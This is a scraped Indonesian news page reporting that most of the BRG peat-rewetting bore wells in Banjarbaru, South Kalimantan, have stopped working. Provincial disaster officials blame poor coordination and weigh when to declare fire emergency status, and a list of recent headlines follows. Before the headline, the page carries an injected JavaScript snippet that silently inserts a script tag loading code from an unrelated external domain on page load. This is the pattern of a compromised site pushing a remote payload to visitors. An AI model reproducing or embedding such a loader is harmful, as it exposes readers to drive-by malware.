(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jadi Langganan Karhutla, Pemprov Wacana ‘Hidupkan’ Lahan di Guntung Damar


Sumur Bor BRG Tidak Digunakan Lagi

Awal 2016 silam, Presiden Joko Widodo membentuk Badan Restorasi Gambut (BRG) usai meninjau langsung kebakaran lahan sekaligus upaya pemadaman api di Kalsel. Terutama untuk wilayah Kabupaten Banjar dan Banjarbaru pada September 2015.

Usai dibentuk, BRG mempersiapkan 50 Sumur bor yang tersebar di wilayah Banjarbaru yang bertujuan untuk membasahi tanah agar lahan gambut tidak mudah terbakar. Sayangnya, puluhan sumur bor yang dibuat hasil kerjasama dengan LPPM Universitas Lambung Mangkurat ini sama sekali tidak berfungsi pada tahun 2018.

Bahkan pada tahun 2019 ini,  BPBD Provinsi Kalsel menegaskan tidak akan mengfungsikan sumur bor tersebut. Kepala BPBD Provinsi Kalsel, Wahyudin mengatakan  dari 50 sumur yang ada hanya ada dua hingga tiga sumur yang dapat digunakan. “Dari hasil rapat pihak Kelurahan dan Kecamatan ya cuma segitu sumur yang bisa digunakan. Karena sudah tidak lama digunakan,” ujarnya.

Ketidakfungsian sumur bor, diklaim Wahyudin kurangnya koordinasi dan sinegritas dengan Pemerintah Daerah maupun pihak yang terlibat dalam Penanggulangan Karhutla. Terutama programnya yang dianggap lepas dari jadwal.

Seperti halnya pada tahun 2018,  Tim Restorasi Gambut Daerah (TGRD) Kalsel yang dipimpin Sauth Nathan Samosir yang melakukan upaya pembasahan pada sumur bor di bulan Oktober dan November. Padahal saat itu telah memasuki musim penghujan.

“Kurang jelas juga, ini Ketua timnya kami undang di Rakor malah tidak datang. Padahal janjinya datang,” ujar Wahyudin usai memimpin Rakor di Gedung Idham Chalid.

Saat dikonfirmasi atas ketidak hadirannya, Ketua Tim Restorasi Gambut Daerah (TGRD) Kalsel, Nathan Samosir memilih tidak berkomentar. “Maaf tidak bisa berkomentar. Bukan ranah saya lagi sekarang, kordinasi dengan sekretaris saja,” tulisnya melalui via Whatsapp.

BRG juga dinilai gagal dalam menempatkan titik sumur bor yang mana letaknya terpisah jauh dari titik utama terjadinya Karhutla di Banjarbaru. Alhasil, petugas di lapangan kewalahan dalam memadamkan api karena kurangnya stock air.

Bantuan signifikan justru datang dari Badan Nasional Penanggulangan Bencana (BNPB) yang pada tahun 2018 lalu mengirimkan sebanyak 8 Unit Helikopter Water Bombing untuk membantu memadamkan api di sekitar lokasi Bandara Syamsudin Noor.

Ditanya apakah ada penambahan unit Helikopter, Wahyudin menjelaskan BNPB akan mengirimkannya secara bertahap sesuai keadaan apalagi berdampak pada penerbangan.

Di sisi lain, mantan Kepala Badan Kepegawaian Daerah (BKD) kota Banjarbaru ini juga masih ragu untuk menetapkan status Siaga Darurat Karhutla. Pasalnya, cuaca di Kalsel yang masih saja diguyur hujan, meski BMKG memperkirakan musim kemarau akan masuk pada akhir April ini. “Masih ragu juga, rencananya kita tetapkan statusnya dari 1 mei sampai 30 oktober. Tapi cuaca masih hujan. Apa digeser saja tanggal ke 1 Juni supaya menghemat energi kita,” pungkasnya.(rico)

Reporter: Rico
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

22 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

24 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

24 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

1 hari ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

1 hari ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

2 hari ago

This website uses cookies.